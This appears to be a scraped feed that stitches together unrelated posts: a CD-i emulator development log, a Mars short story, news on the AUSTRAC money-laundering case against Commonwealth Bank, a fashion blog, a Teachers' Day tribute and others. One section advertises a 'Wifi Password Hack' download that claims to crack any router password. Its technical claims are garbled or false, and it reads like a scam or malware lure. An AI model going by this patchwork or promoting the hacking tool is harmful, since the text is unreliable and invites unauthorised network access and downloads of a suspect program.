    As a sidenote, all of the meticulous cache and address space control done by the kernel is really wasted, as CD-i systems do not need these. But the calls are still being made, which makes the kernel needlessly slow; one major reason why calling device drivers directly is often done. Newer versions of OS-9 eliminate these calls by using different kernel flavors for different processors and hardware configurations.

    The massive amount of tracing needs to be curtailed somewhat before further work can productively be done; this is what I will start with next.

    I have already generated fully documented stub functions for the OS-9 kernel from the OS-9 technical documentation; I will also need to generate for all file manager and driver calls, based on the digital Green Book.

    It is perhaps noteworthy that some kernel calls are not described in any of the OS-9 version 2.4 documentation that I was able to find, but they *are* described in the online OS-9/68000 version 3.0 documentation.

    Some calls made by the native ROMs remain undocumented but those mostly seem to be CD-i system-control (for example, one of them sets the front display text). Of the OS-9 kernel calls, only the following ones are currently undocumented:

    F$AllRAM
    F$FModul
    F$POSK

    Their existence was inferred by the appropriate constants existing in the compiler library files, but I have not seen any calls to them (yet).
              Housecleaning        
    Today I did some housecleaning for the upcoming beta, which I'm still hoping to release before the end of this month.

    I decided to keep the current somewhat buggy MPEG decoding stuff in the beta, which meant that I had to clean up the MPEG ROM detection logic so that it actually works (until now I always used the -dvc option to explicitly force the DVC model).

    The MPEG ROM detector will now only use the supplied "dummy" xmpeg.rom file if it cannot find another recognized ?mpeg*.rom file. If it does find such a file, the DVC type will now be displayed in the CD-i Emulator title bar (GMPEG, IMPEG, VMPEG). For GMPEG the AH0x number is also displayed, as the AH00/AH01 cartridges are very different from the AH02/AH03 ones.

    Some little-known DVC tidbits:
    - The Philips CD-i 370 uses VMPEG hardware but at a different memory address
    - The Philips CD-i 615 uses IMPEG hardware but the ROM also contains non-FMV software
    - The DVS VE-200 and LG GDI-700 use IMPEG hardware but at a different memory address

    More details on the state of the MPEG emulation will be available in the beta release notes.

    Earlier I had started using a manifest file to get a newer common controls DLL, thus modernizing the visual "look" of CD-i Emulator somewhat. However, this caused Windows Vista and Windows 7 to stop using "virtual store" redirection of the cdiemu.ini file which broke all settings stuff (including the recently used list).

    Today I figured out that leaving out the UAC "requested level" entry from the manifest restores the "virtual store" redirection. This is good enough for this beta.

    I also killed the "file registration" code because it would hijack any existing non-beta registration (this has nothing to do with licensing but with the way Windows finds executables to open certain files).

    Finally, I added video decode skip validation. This gets a bit technical...

    In CD-i players, video decoding steals bus cycles and thus slows down the machine. The amount of bus cycles stolen depends on the video mode, pixel repeat settings and, for run-length modes, on the actual data.

    If the emulation starts to lag behind, CD-i Emulator starts skipping the decoding of video frames. Previously, I used a "worse-case" estimate for the number of stolen bus cycles in this case. However, this introduces problems with input recording and playback: if frame skipping differs (which is almost guaranteed to be the case), the playback will start to "drift" from the recording. Over many frames this will result in an incorrect playback.

    I coded a "SkipLine" routine that does no actual video decoding like "DecodeLine" but it does decode just enough to accurately determine the number of stolen bus cycles. This routine is now used when the video frame is skipped.

    The validation consists of running both routines when the video frame is not being skipped and ensuring that both "steal" the same number of bus cycles.
              AVI writing fixed and some fast machine issues        
    In a new attempt to get a usable Burn:Cycle movie out of CD-i Emulator, I decided to add multiple PNG writing as a poor substitute for AVI writing. After all, if you have the images and audio, you can always postprocess them into a movie!

    I hooked up the PNG writing code from MESS/MAME, which seemed simple enough. There was the small matter of adding 24 bits per pixel bitmap support (their code handles 16 and 32 but not 24 which is however the internal format of CD-i Emulator; I had already partially added such support for the AVI writing code).

    However, the resulting PNG files would not display in Explorer or any other image tool, giving messages like 'Bad file format' and 'Cannot read'. In exploring the cause for this, I was looking at memory buffers being filled and suddenly noticed that they where being filled in little-endian byte order, which is definitely wrong as PNG is a big-endian byte order file format.

    The source of the problem turned out the be a configuration error with the MESS/MAME code: it needs a macro LSB_FIRST so it knows that it's running on a little-endian machine, and I had forgotten to give it one. When I fixed this, the PNG files came out right. And even better, the AVI files suddenly also seemed correct (not surprisingly, as they use the same byte order flipping macros as the PNG writing code).

    So now I have both PNG writing and AVI writing hooked up in CD-i Emulator. I proceeded to do some timing tests and in the process added a few new writing options. The -writesilent option writes AVI files without audio; the -writerate option sets the framerate for the AVI files.

    Full framerate AVI files still play "jumpy" on my machine but that's caused by their uncompressedness (is that even a word?); if you convert them to MP4 for uploading they play perfectly.

    I uploaded a first test to YouTube; you can see it here.

    If you set the AVI framerate low enough, you can do real-time movie captures. On my slow home machine I can do real-time capturing with -writerate 2 or less (which gives very jumpy AVI files, but the audio is correct).

    To do non-realtime movie rendering you need to use the input recording and playback options. I did that for one of my Burn:Cycle recordings (not a very good one, but it's hard to play on my machine as the framerate it really too low and as a result the mouse gets jerky, which makes you overshoot your targets, which results in easy death at the hands of the security people).

    The rendering proceeded at about 15% real-time speed while I was typing the above and is now finished; it gave me an AVI file of 27 GB for a nearly 7 minute session. There's something wrong with that file; Media Player claims it's only 33 seconds but proceeds to play all 7 minutes of it. Huh?

    I also have problems converting it to MP4, probably caused by the same problems. Currently testing conversion programs to find one that can handle it...

    During all of the fast machine testing yesterday, I also noticed that after a few minutes the audio begins to lag behind when it shouldn't. This is probably caused by the audio not being decoded at exactly 44.1 kHz relative to the PC timers (or something like that). When audio is playing, it really needs to be taken as the master clock for emulation speed control but that is somewhat hard with the current speed control code. Not for this beta. To ameliorate the problem, I've added a "Flush Audio" option (keyboard shortcut Ctrl-F) that allows you to manually flush the lagging audio so that it regains emulation sync.

    Yesterday I also started adding proper IFF reading code, as opposed to the basic version handling only a single large data chunk that is currently used by the input playback code. This is needed so I that can properly finish the recording and playback functionality.

    The beta release seems to be coming nearer...
              Fast machines, file writing and some bits        
    Today I used my work PC to examine CD-i Emulator on a fast machine.

    It turns out that cpu throttling was already there; titles run at the right speed. However, the frame skip detection logic is too sensitive: it will skip frames even on fast hardware, just because of a momentary slowness (I think). I added an option -noskip to turn off frame skipping altogether; beter autodetection is too much for this beta.

    Likewise, for people who always want to run full-speed, I've added an option -nowait to turn off cpu throttling. This can make your CD-i title unplayably fast and it will also cause the audio to lag behind if the title plays continuous audio (most games do).

    On the AVI writing front I was less lucky. I cannot get decent write performance and this is not caused by the AVI writing code; just writing the raw data to a file will already cause very "skippy" emulation. Perhaps using a separate thread would solve this (especially on a multicore machine).

    And what's worse, the resulting AVI files seem to have timecode problems because they are also skippy, which should not be the case. This is really weird as I've previously been able to write AVI files correctly. It needs more work, obviously.

    On the other hand, the AVI files contain the correct audio data: if I extract the audio stream with avidemux, it's identical to a separately written WAV file.

    In the process of testing all of this (with Burn:Cycle, what else?) I also fixed the audio crackling problem; it turns out that Burn:Cycle opens all four audio attenuators (L-R, L-L, R-L, R-R) and for this possibility I hadn't accounted in the mix scaling.

    I also added the two keyboard emulations that I mentioned yesterday: Backspace for button 2 and Esc for button 3 (buttons 1 and 2 together). This works well for The Apprentice and Dimo's Quest and these are my reference titles anyway :-) I will ultimately add a UI for changing the keyboard map, of course.
              Comment on Born To Flying Glass by Repo Software        
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              The Writer’s Block: A Video Q&A with Teng Biao        
    Chinese civil rights lawyer Teng Biao discusses his work and his own journey to activism and advocacy.
              The Day Mars Died         
    Trevor Adams woke early on the morning of September 13th, 2125, his alarm ringing loudly in his ears.  Well, I suppose singing would probably be a better description.  Birds.  No birds up here and Trevor loved birds. After an exaggerated morning stretch, Trevor stumbled into the shower and then proceeded to wrap up his morning bathroom rituals.   Trevor whistled one of the bird songs from his alarm as he pulled on his overalls and spacesuit.  No helmet for the fifth straight day… company says they’re still mandatory but not a single worker is wearing it.  Why would you bother if you’re fine without it?   Atmospheric Engineer was his title.  He was proud of it.  Trevor worked tirelessly in school to prepare himself for a career in the burgeoning field of terraforming and here he was. The Mars terraforming project was a great success.  Only 12 years after terraforming technology was first patented, Trevor and his team had already set up a stable breathable atmosphere on Mars.  The achievement was, if you would forgive a brief pun, out of this world. Trevor’s task for this sol was to visit three atmospheric monitoring stations, to ensure the readings continued to be stable, and perform any necessary maintenance on the associated atmospheric processors. Despite the fact that there were almost five thousand people on Mars, Trevor was working alone in an isolated area and had been for several weeks. Munching absentmindedly on a nutrient bar, his breakfast, he strode out of the habitat unit and jumped on to his Marver (some smart ass had decided that Mars Rover = Marver.  I know…).  It was a short and uneventful trip up out of the crater and up onto the south ridge to visit ATMO-63, first workstation of the day. Having finished his breakfast, Trevor took a long swig of water from his flask and strode inside the complex automated station. It took hardly a glance at the display panels inside ATMO-63 for Trevor to understand that something was seriously wrong.   Trevor immediately began working the problem, thinking it was perhaps localized to ATMO-63. Unfortunately, the huge success of the Mars Terraforming mission had led to significant lapses in the duties of the responsible scientists and engineers.  Last night had been a particularly big party at the main hab.  No one else had checked their stations yet on this sol. The fact was that ATMO-63 was not an isolated case.  All of the atmospheric processors on Mars had been malfunctioning for hours.  In order for the system to establish a stable atmosphere, all of the processors had to work together. Trevor worked to isolate the cause of the abnormal behaviour of the terraforming machine while also attempting to contact the main habitat. Before he could get far in his work, Trevor noted something truly terrifying.  Instruments were reading a massive buildup of pure oxygen inside and around ATMO-63.  Trevor immediately turned and started to head for the exit from the station when he heard a deafening WHOOSH followed for just a fraction of a second by the most intense heat he had ever experienced. And that was it. The explosion at ATMO-63 was massive, visible all the way from the main habitat, and almost instantly every other atmospheric processor on the planet overloaded and exploded.  The interdependency that made the whole system work to build Mars’ atmosphere was what ultimately caused the deaths of all 4,876 souls on Mars that day.  Mars’ new atmosphere catastrophically collapsed. Approximately 9 months later, during the investigation into the disaster, Trevor Adams’ body would be found in the Martian sand near the ruin of ATMO-63.   Hailey Jones, a dear friend of Trevor’s, would be among those to find his remains.  She personally dug a grave for her friend and marked it with a small plaque and a tiny audio device.  For many years on calm sols one could hear bird songs drifting over the crater from the south ridge.
              "Which Bank?" Allegations of est. 1,610 suspect financial transactions possibly involving money laundering or terrorism funding        

    Calls for a royal commission into banks and banking practices will probably grow louder.......
    ABC News, 3 August 2017:
    The Australian Transactions Reports & Analysis Centre (AUSTRAC) today launched civil proceedings in the Federal Court alleging that the Commonwealth Bank failed to comply with the law on 53,700 occasions.
    The allegations follow an AUSTRAC investigation into the CBA's use of intelligent deposit machines (IDMs) between November 2012 and September 2015.
    The maximum penalty for each of the 53,700 contraventions is up to $18 million.
    The potentially massive penalties would dwarf a $45-million fine imposed on Tabcorp earlier this year for failing to comply with anti money laundering and terror financing laws…..
    The transactions in question had a total value of around $624.7 million.
    ABC News, 7 August 2017:
    The Commonwealth's allegations about the extent of the breakdown of CBA's legal obligations are breathtaking.
    Reading between the lines in the statement of claim, it would appear Australian Federal Police (AFP) investigating at least four money-laundering syndicates discovered Austrac had no transaction records on those they had under surveillance.
    In August 2015, CBA provided authorities with details on two of those missing transactions. Clearly, that caused panic within the bank. For just a month later, it sent Austrac details of a further 53,504 transactions dating back three years where $10,000 or more had taken place.
    At least 1,604 of those late filings related to criminal gangs. Even more alarming, a further six filings related to five customers the bank itself had identified as posing a terrorism risk. But, incredibly, it didn't report them.
    That is not the end of it. According to the statement of claim, the bank continued to facilitate transactions for drug syndicates even after being alerted by the AFP.
    Even as late as January this year, 18 months after the breaches were first discovered, it is accused of failing to report suspicious transfers totalling $320,000 over five days.
    The calamity is being sheeted home to the installation of whiz-bang new machines, intelligent deposit machines.
    These accept cash or shares, count the money and then deposit it into a CBA account. From there, it can be sent almost instantly to anywhere in the world. And the neat thing, from a criminal or terrorist viewpoint, is that you do not have to be a CBA customer to do it.
    Not only that, they would take up to $20,000 at a time. The machines may be intelligent but, sadly, no-one at the bank seemed to give a second thought to the reporting duties, either around the $10,000 limit or to look out for "structured" transactions — those attempting to fly just under the radar with slightly smaller amounts.
    When they were first introduced in 2012, they proved popular. Almost $90 million went through in the first six months. That has since risen to around $1 billion a month.
    As the debacle unfolded last week, the other banks — all of which have introduced similar machines — were keen to distance themselves from the drama, even if ANZ boss Shayne Elliott lamented that all would suffer.
    Each said they had removed "non-compliant machines", whatever that means. For it is not the machines that are at fault. It is the oversight that has failed.
    Interestingly, each of the CBA's three main rivals were keen to emphasise that their machines would accept a maximum of $5,000. In effect, that means no single transaction would ever come close to the reporting limit, thereby letting them off the hook……
    The odds on a royal commission have now shortened dramatically, for the Turnbull Government's resolve to resist one must now be spent.
    Not only that, the banks have lost any moral ground they may have thought they had in opposing the Federal Government levy.
    If recent history is anything to go by, the bank and its leaders merely will attempt to pretend it is all a media beat-up and it is business as usual.
    There will be the usual contrite statements, the promises of improving systems to ensure there is no repeat, an internal inquiry no less, most likely as early as this week when Mr Narev unveils a $9.8 billion profit.
    This time, however, the attack will not be so simply to parry. It is not an angry but disorganised customer base baying for blood. These are issues of national security and the prospect of a concerted legal assault by the Australian Government solicitor.
    Hold the bonuses? The fallout is likely to be somewhat larger.
    Commonwealth Bank, ASX announcement, 4 August 2017:

    Commonwealth Bank response to media reports regarding AUSTRAC civil proceedings

    Friday, 4 August 2017 (Sydney):

    Commonwealth Bank of Australia notes the media coverage of the civil penalty proceedings initiated yesterday by AUSTRAC for alleged non-compliance with the Anti-Money Laundering and Counter-Terrorism Finance Act 2006. The matter is subject to court proceedings. We are currently reviewing AUSTRAC’s claim and will file a statement of defence. We will keep the market informed of any updates in compliance with our disclosure obligations.


              Breezy Summer Days in White        

    When I first saw these stunning pictures of Simone Rocha's SS11 collection on the popular style blog Love Aesthetics, I guess you could say that I had something of a fashion Proustian moment. In case you don't know, (as I didn't until recently when we did this at uni) a Proustian moment or memory is when something you encounter evokes recollections of the past without conscious effort. In other words, involuntary memory. It could be caused by a smell (the most powerful evocation of memory that we have), a taste, or just anything that triggers off a sense of powerful, unexpected memory or recollection. The term was coined by the French author Marcel Proust. It's like when you catch a whiff of perfume or aftershave that your ex used to wear, and suddenly you are overcome with the feelings that you had when you were with that person, and you feel as though you are right back in that time, in that compartmentalized  memory inside your head that you thought you'd closed the chapter on, that you thought was well and truly preserved as merely a memory, that you'd never have to revisit again. It's like you jumped right back into a photograph from the past, and just for that one moment, when you can smell that fragrance, the past is alive again, and you are there, back in that time, feeling that onslaught of forgotten emotions, back in that place you thought you'd put way back on a dusty shelf in your memory, far in the recesses of your mind.

    Well, seeing these photos didn't exactly give off the fragrance of youth or the taste of childhood, but they did take me back to a time, in that summer in 2006 that I mentioned in 'Acid Brights and Summer Rain', when I had an all-white outfit that I accessorized with bright, fuchsia pink lips. I think that that summer was so special to me, not just because it was a time of happiness and of hazy, adolescent dreaming, but because it was also around the time that I really started to discover real fashion. Before that, I had always been a tall, skinny, insecure teen who thought that 'fashion' meant piling on as much bronzer as I could, getting out as much flesh as was decently possible, and trying my absolute hardest to look like the 'popular' girls in school. It was when I got to the age of seventeen that I started to question this desperate desire to blend into the crowd and look like everybody else.

    I had discovered Sex and the City at the age of sixteen, and had watched, awed, as Carrie pranced the streets in tutus, outrageous hats, look-at-me knee-high socks and sometimes even ball gowns, with a confidence that made it seem like she owned the city. I had discovered Dita Von Teese, and realized that not only did staying out of the sun and remaining pale-skinned prevent you from premature aging and skin cancer, but also that it was beautiful. Watching shows like America's Next Top model and reading fashion magazines had taught me that being tall wasn't something to be ashamed of, and for the first time, I gave in to my love of heels. Before that, I'd only ever worn flat shoes, and would sometimes even stoop so that I was more the same height as my friends. It also taught me that beauty comes in many, many forms. Weather you're black, white, tanned, skinny, curvy, blonde or brunette, you can find your own way to be beautiful. For the first time in my life, I realized that fashion wasn't about making boys like you or fitting in, it was about being yourself, and most of all- having fun.

    I reveled in my new discoveries and growing confidence that summer. I tried new things and dared myself to step out of my comfort zone. I stopped being ashamed of what I'd previously seen as 'flaws' and finally learned to embrace my differences. The models on the pages of my copies of Vogue were tall, willowy and ethereal in their beauty- to me, they looked like something right out of a different world.  I wanted their perfect confidence, their grace and their ability to stand out on the page and make the clothes come alive. It was the first time I learned to take risks, and to try and stand out like my beautiful Vogue models. Sometimes I got it horrendously wrong, and people would laugh at me (like the time I cured my hair into ridiculously tight ringlets that bounced with my every step- BIG mistake) but at least I can look back now and say that I wasn't boring.

    That summer I remember reading in Vogue or Elle that lipstick was making a comeback. I was so excited by the idea of wearing bold, matte colour on my lips, that was so different from the translucent, shiny lip-gloss I was used to wearing throughout my teens. I remember reading about how you should team your bold, fuchsia lipstick with pale skin, powdered to perfection, and a lick of black mascara for a fresh, minimalist take, and the words to me sounded like poetry. I remember telling my best friend about it in a random, old man pub we'd managed to sneak into one summer night, and how she laughed and told me I was talking too loud because I was drunk, and that everyone was looking at me sitting there raving about pink lipstick.

    The Simone Rochas SS11 collection reminded me of the bright pink of that lipstick, and an all- white outfit I'd picked out to perfectly compliment the look. I had teamed together little white shorts from Zara, and a long, flowing, white top from Topshop that swung in the summer breeze when I walked.  Seeing the Simone Rochas SS11 collection and the white with neon pink accents makes me recall that summer with a perfect clarity. The heat, the freedom, the excitement, and the feeling of being just seventeen years old like the Dancing Queen, and of having the whole world at my feet.

    This summer, I cannot wait to re-rock this look. Here are some more images that are inspiring me right now:
    The beautiful Carrie in the first SATC movie


    Classic Carrie in a white vintage- looking sundress. I want her sun parasol!

    Carrie in the opening scene of SATC 2



    I love the way the Simone Rochas collection is made up of simplistic, deconstructed pieces layered under gauzy, billowy fabrics with pops of fluorescent pink accessories in futuristic shapes and plasticky materials (pink plastic box bag, I covet thee.) The collection was inspired by traditional Chinese mourning, when everyone wears white. Simone Rochas described in an interview how "I visited my grandad’s grave in Hong Kong and it was stark white but had highlighted flowers and that’s where I got the colourful accessories from and the pink clothes. It’s tough but with a feeling of romance." (If you want to read more of this interview, go to http://love-aesthetics.blogspot.com)

    Although this idea may seem slightly creepy, I actually think that it's kind of beautiful, if you think about mourning as a way of showing love and respect to lost loved ones. I like the idea so much more than wearing black. There's a purity to wearing white and decorating graves in bright, cheerful pink that to me seems to be more of a celebration of the person's life and your love for them than just sadness at their passing. I think the idea behind this collection is really unusual and beautiful- what do you think?

    It wasn't just at Simone Rocha that white clothes were seen on the runway. White was also seen at Dolche & Gabbana and Stella McCartney.
      I love the floaty sheer dresses, pretty white cotton bloomer shorts and puff-sleeved blouses as seen at Dolche & Gabbana.
    Long fluid silhouettes were seen in white at Stella McCartney.

    Since I first read the Simone Rochas post on Love Aesthetics, I've been scouring the internet for pieces I can buy to take on the look. They're just ideas at the moment so I can decide what to buy come summer. Here's what I've found so far...





    All the above are from www.topshop.com
    white vintage dress from www.rokit.co.uk


    Also from www.rokit.co.uk

    I love these sunnies, from www.topshop.com

    I've not managed to find many bright pink accessories yet, but I'm on the hunt! Come summer, I'll be strolling down memory lane in some of my bright pink lippy, for some more of those breezy summer days in white...

    Please comment and let me know what you think :-)
    The Porcelain Princess xoxoxo
              Begegnungen mit Herkules, Zeus & Co        
    Radiozeitreisen in die griechische Antike – SchülerInnen der 2A des BRGKleine Sperlgasse führen uns wagemutig in die Welt altgriechischer Sagengestalten. Mit einer Zeitmaschine reisen wir zurück bis ins Chaos. Einer Reporterin gelingt es, Interviewbeiträge und Höreindrücke von einer antiken Olympiade aufzunehmen. Warum Daidalos und Ikaros in der Sendung nicht fehlen dürfen, wird und auch verraten. […]
              Wifi Password Hack v2.3.2 Latest        
    Wifi Password Hack
    Wifi Password Hack v2.3.2 Latest | 4.99 MB

    How to hack a Wifi password? This is not a easy task, so after many years we have crated a very interesting program. This program is called Password Hack v5 and Wifi hack wiil be piece a cake.

    Tutorial:
    Step 1: Just point your mouse to the social buttons bellow!
    Step 2: Click and the installation process will begin
    Next you must open the program and enter SSID code. The you only need to click “start” and the password will be broken.

    How to hack a Wi-Fi network and how to find it’s password?

    First, let me tell you what Wi-Fi is! Wi-fi is a recent technology used by gadgets to connect to the Internet without the use of wires. The Wi-Fi Alliance says that Wi-Fi represent “any wireless local area network (WLAN) products that are based on the Institute of Electrical and Electronics Engineers (IEEE) 802.11 standards”. Because many WLAN use the same standard, WLAN became a synonym for the Wi-Fi word. Interbrand invented Wi-Fi as a play on words with Hi-Fi (high fidelity), and also created the Wi-Fi logo. This certified trademark can be used only by those Wi-Fi adaptors which pass the Wi-Fi Alliance tests and standards. If it has to do with a connected cable, then the Wi-Fi network is much more vulnerable to hackers attacks. Sites which aren’t sertified with SSL and are usually unencrypted are those which will try to steal the Wi-Fi password and any other private datas such as images or account passworrds. Even this intruder will try to take them, it will be harder for them if the router is protected with WPA, WPA2 or WEP encyption security. An extra feature extra from 2007, known as Wi-Fi Shielded Startup (WPS), experienced a serious catch in which let a great hacker to recoupy the actual router. The latest router devices come with the strongest protection ever known and are very hard for hackers to be breaken into. That’s, of course, if you don’t change the password with which is proveded. Ussualy, the routers have generic names and passwords such as the brand or name of the router, or even admin or 1234 as username and password.

    The Wi-Fi is used nowdays for devices such as PC, Video Console such as PS 2, Ps 3, Xbox 360, PS portable (except the E-1000 one) and any other console which have 3G or Wi-Fi connection toghether with laptops and smart and non-smart phones. Those devices can access the Wi-Fi by using the sho called hotspots, where free internet is ussually given by restaurants or Internet providers. You need to be within 100 m to receive the signal, and it can only be received outdoors. What you receive indoors is the signal of a neighbour’s router, not a hotspot one. Hotspots can have low signals (10-20 meters) to strong signals, which take a few kilometers.
    Any device which has Wi-Fi connectivity can receive Internet signal from this hotspots. The interconected devices are called hang-outs and can be seen each other for distances of over several miles. Outdoor open public Wi-Fi technologies have been used properly with wifi mesh networks with Liverpool, London, and gennerally in the big cities from all the United Kngdom. Wi-Fi is a great way for companies to promote their businessess; it’s very clear that, if there are two restaurants with the same prices and services, but one have also Wi-Fi connectivity, the one with the Wi-Fi will win. And it is not too expensive to provide Wi-Fi, just connect the Internet cable to a router and let it flow. Enthusiasts or perhaps specialists who want to offer products and services or even to enhance company with selected parts at times offer no cost Wi-Fi gain access to. Also there are companies which, in exchage for space used by antena’s on the rooftop of the flat of blocks, gife free internet in that flat. The are radions risks but who cares when you have free Internet, right? I thought so!
    If you want to aquire a router, take a brand one, like Belkin or D-link, because the no-name chinese ones are very vulnerable to hacker attacks and can break easely. Don’t risk to lose all your money from the bank accounts or images with your daughter naked posted on the Internet just because you did’t wanted to spend a couple of extra pennies at the right time.

    The same can apply to a mobile, battery powerd router, which is included in every cellphone existent. Many phone provider give free traffic for their clients in WAP, 2G, 3G or even 4G connectivity, depending on the country you live. Almost all smartphones have nowdays a easy OS to use such as Android, iOS, and the now dead Symbian OS, which make possible to connect to any Wi-Fi decive and also to interconnect. Internet pucksgive separate services in this sort at the same time, without use of any touch screen phone; these include this MiFi, as well as WiBro branded equipment. Out there are also many devices such as notebooks, ultrabooks and even laptops which use Wi-Fi to find any information the users want.

    Now, let’s turn back to the topic of this article. How to hack a Wi-Fi network and how to find it’s password? This is a question many people asked. But now you don;t have to ask yourself anymore. Here is the sollution to all those frustrating days when you were at countrysite, isolated from the rest of the world and you found just a single, slow router. And that was passworded too. Then you and your phone are useless. That’s why our team of developers invented the most powerfull tool on the internet:

    Wi-Fi password Hack v5. With a beautifull design, a silverish skin and a blueish font, this is one hack which is very, vet, very easy to use! Even my granddaughter Mary managed to use it in order to play with her virtual friends on the Internet. What do you have to do? First, type the SSID of the router. Ussualy is admin or the model of the router: you can just find it by scanning with the Windows utilities. Next, choose the security type: it could be WEP, WEP 2 or even WSK, it depends on the router. It doesn’t matter what type of security is, every type is hackable. Next, press on Start hacking and the program will handle you the password. Now you have free internet. Congratulations!

    Download Link
              Award success for Oxfordshire technology company        
    THAME-based food processing equipment firm Interfood Technology has been named Best Equipment/Machinery Supplier in the Meat Management Industry awards.
              Commander Mode Brings DICE's Biggest Shooter To Tablets        

    You may not need swift first-person shooter skills to excel at Battlefield 4, but only if you have a sharp mind.

    Though it was rumored in April, DICE officially revealed Commander Mode for Battlefield 4 at E3. Beloved by players from Battlefield 2, the strategic leadership role was missing from Battlefield 3. Whether the match is happening on consoles or PCs, the leader's overhead map can be accessed from tablet devices.

    Commander Mode grants one player an overhead view of the battle and access to various support abilities. In the trailer below, Lars Gustavsson, creative director at DICE, describes the three responsibilities a commanding player will have to take on.

    The commander will engage in a data war with the opposing team's leader by calling in UAVs and denying enemy intelligence gathering attempts. To fuel the war machine, commanders can also drop supplies and vehicles directly into a war zone. Lastly, the leader can go on the offensive with missile strikes and other aerial bombardments.

    Though this role is undoubtedly powerful, a good commander can't win a game alone. Gustavsson said the range of abilities available to a leader is directly tied to the team's overall performance.

    (Please visit the site to view this media)


              Building Foundations        
    “Be not afraid of going slowly; be afraid only of standing still.” -Chinese Proverb-

    I personally find this to be a tough reminder that I am not perfect! I have always believed that I should be perfect, and have always been disappointed because I am not. When I turned my life over to God, He took most of that feeling away. I am the reason that there is lingering evidence of my insecurity still around. I am not sure why but I am afraid to let go of my insecurities!

    I kn...
              EVENT: Dr. Ronald Knapp – Chinese Houses in Southeast Asia        
    Talk by Dr. Ronald Knapp: Chinese Houses in Southeast Asia: The Eclectic Architecture of Sojourners and Settlers When: August 17, 2017 6:00pm to 8:00pm Location: Dr. Sun Yat-Sen Classical Chinese Garden – 578 Carrall St, Vancouver, BC V6B 5K2 Admission:  $15 General | $10 Students/Members. Spacing Vancouver is giving away 10 tickets to Dr. Ronald Knapp’s talk—use […]
              SELAMAT HARI GURU 2017        


    Selamat Hari Guru Buat Kesemua Guru kami dan Guru kepada anak - anak kami. Yang masih hidup dan berkhidmat, Moga diberi sebillion kekuatan, kesabaran dan kewarasan serta kebijaksanaan sebagai pendidik buat anak - anak zaman kini dan mendatang. Buat yang tiada, moga limpahi rahmat ke atas roh kalian dan diampun dosa - dosa kalian semasa hidup.
    Yang pertamanya nak terima kasih buat guru pertama yang melahirkan dan membesarkan kita.
    tentulah mak abah kami sendiri
    En. Yahya bin Dikin dan Pn. Hamidah bt Supaat
    Yang mengajar jatuh bangun sebagai manusia, yang mengajar kendiri diri seawal usia.
    terima kasih mak dan abah.
    Buat guru - guruku: Selamat Hari Guru
    Cikgu Uteh (tadika abim 1987- 1988)
    Almarhum Cikgu Ain (Tahfiz ABIM 1990 - 1991)
    Cikgu Kursiah, - SKSB
    Cikgu Zaharah - SKSB
    Cikgu Nong Zaharah SMK Meru (cikgu asal ghanu yang tak pernah makan sukun).
    Cikgu Norhayati - SMK Meru
    Pn Nagamal - SMK Meru (cikgu lukisan kejuruteraan. maaf cikgu, saya failed subject cikgu masa spm tapi end up belajar CNC machine *CATIA & AutoCAD masa amik Diploma Metal Fabrication)
    Cikgu Khalidah Adibah - SMK Meru yang selalu nasihat suh lembut sikit. Ok dah cikgu. dah jadi mak ni lemah lembut dah sikit. Cikgu Rosmawati - Cikgu Add Math (terima kasih cikgu sebab bagi foundation study math buat saya. Kbat sekarang semua macam add math)
    Ustazah Siti Asturas : terima kasih cikgu sebab menjaga kebajikan anak - anak murid. Pada Allah sahaja yang dinilai. Penilaian manusia belum tentu lagi. ada kisah sedih sepanjang karier beliau, tapi aku yakin doa adalah senjata orang - orang mukmin tika itu.
    Guru Kelas aku masa form 4 : Pn Istiqamah rasanya kot?! sapa ingat mintak betulkan. pun sangat baik. sampai berkali - kali terserempak kat mana2 di kampung kami, masih dia yang menyapa mesra anak murid. bukan sebaliknya. beside, dia tak judgemental. anak murid pndai ke tak, kaya ke tak, dia layan sama. xde beza - beza, takde anak emas, anak perak, tembaga segala bagai.
    Cikgu Roslan - annoying tapi dia contoh cikgu yang buat kita rasa berani nak menyuarakan sesuatu. risk taker gak cikgu ni bab motivate student dia termasuk la aku.
    Almarhum Sir Rosman (you make me feel speaking in broken english is so awesome for 'anak pencari besi buruk ni')
    Madam Zilia - moga pedoman hidup dan ilmu yang dicurah memberi manfaat pada semua.
    Almarhum Madam Hayati - moga Allah cucuri roh Mu selalu Madam.
    Almarhum Sr. Ali - akan selalu dikenang sepanjang hayat. takkan ada yang patah tumbuh berganti buatmu, Sir. ( Aircraft Welding : Airframe & Powerplant; MARA NORTHROP RICE, Jasin, Melaka)
    buat semua Sir dan lecturer masa kat Northrop /UniKL Miat dan Unikl MFI:
    Haji Shadid, Haji Megat, Haji Hashim , Almarhum Haji Sofri, Haji Rashid, HajiHaris Podilah Abd Ghani, En.Mohd Nor, En. Zam (barang yang lepas jangan dikenang, apa diharap padi seberang.), En.Bad, En. Mahfuz, En. Nizam , En. Khairuddin, En. Aziz.
    Madam Tuan Salwani - tq Madam. tak tahu nak cakap apa, tapi kalau tak dipecahkan ruyung...takdelah kalut sangat ajo anak2 kami math zaman sekarang.
    Madam Anne - hmm.. transfer credit dapat B. tapi semangat nak belajo english sebab Madam memang precise gile.
    En. Azizul (kot) - Masuk kelas french memang terasa european la sangat. end up dpt ape yek french? b- ke c- ke d? lupa.
    - Je m'appelle Ida Rahayu. J'ai 35 ans.J'aime lire, bloguer et cuisiner.Je viens de malaisie.Je travaille comme assistant ingénieur
    boleh kot nak kata kami pndai 4 bahasa?
    - melayu tentulah - english tentulah level c dan d, french? tentulah dah e sekarang.tu pun byk dibantu dengan google translate. dia macam bahasa arab sebenarnya.. dan jawa. yg ni dah karat lansung. paham boleh. nak balas dah tak cantik. so susah la sikit, kalau terjumpa PDI kat mana2, boleh pasang telinga.
    Terima kasih Semuanya.
    Buat Kesemua Guru Anak - Anak kami:
    Pn. Zaidatul Rakkaya : terima kasih atas ilmu math (nombor kaya, nombor or miskin, pola nombor, tambah berganda , tolak berganda. nampak kecil, tapi besar maknanya buat anak seperti Aqil Al Islam). Moga maju jaya terus di sekolah terkini.
    Pn. Emi Marlina : terima kasih teacher atas perkongsian ilmu setiap waktu dulu. moga terus cemerlang di sekolah terkini.
    Ustazah Syafiqah : terima kasih sebab mengajar Aqil Al Islam dari tahun 1 sampai sekarang. Mengaji dan Bahasa Arab. terima kasih sebab selalu beri dorongan buat anak yang pemalu dan cemerkap tu.
    Ustazah Akak aka KB : terima kasih sebab ajo aqil mengaji dan tajwid. moga dengan alam pekerjaan sekarang peroleh manfaat dan memberi manfaat kepada yang lain.takkan ada yang sama seperti kamu buat aqil.
